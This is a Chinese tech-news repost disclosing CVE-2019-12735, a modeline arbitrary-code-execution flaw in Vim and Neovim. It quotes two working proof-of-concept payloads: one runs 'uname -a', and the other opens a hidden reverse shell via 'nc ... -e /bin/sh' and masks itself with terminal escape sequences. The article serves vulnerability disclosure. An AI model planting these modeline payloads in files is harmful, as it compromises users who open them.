Vim 与 Neovim 曝出任意代码执行漏洞

释放双眼,带上耳机,听听看~!

文章转载开源中国

安全研究人员发现 Vim 与 Neovim 中存在一个任意执行漏洞,允许黑客在用户打开恶意文本文件时控制计算机。漏洞影响 Vim 8.1.1365 与 Neovim 0.3.6 之前的所有版本。

Vim 与 Neovim 曝出任意代码执行漏洞

该漏洞存在于编辑器的 modeline(模式行)功能,此功能允许用户在文本文件的开头或结尾设置窗口尺寸和其它自定义选项,它在一个被操作系统封锁的沙箱中运行,并且可用命令也被限制,但是研究人员 Arminius 发现了绕过该安全保护的方法。

目前漏洞已经被编号为 CVE-2019-12735,Arminius 也释出了两个概念验证。

第一个是直接利用该漏洞使系统执行`uname -a`命令:


1
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另一个利用方式更加深入,一旦用户打开文件就自动启动反向 shell。为了隐藏攻击,文件将在打开时立即重写。此外,当使用 cat 输出内容时,攻击还使用终端转义序列隐藏 modeline:


1
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Vim 与 Neovim 曝出任意代码执行漏洞

目前补丁也已经释出:

更具体的细节见:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

给TA打赏
共{{data.count}}人
人已打赏
安全漏洞

Google 研究员披露 Windows 10 0day 漏洞

2019-6-13 11:12:22

安全漏洞

Firefox 罕见曝出严重 0day 漏洞,最新版已修复

2019-6-19 11:12:22

个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索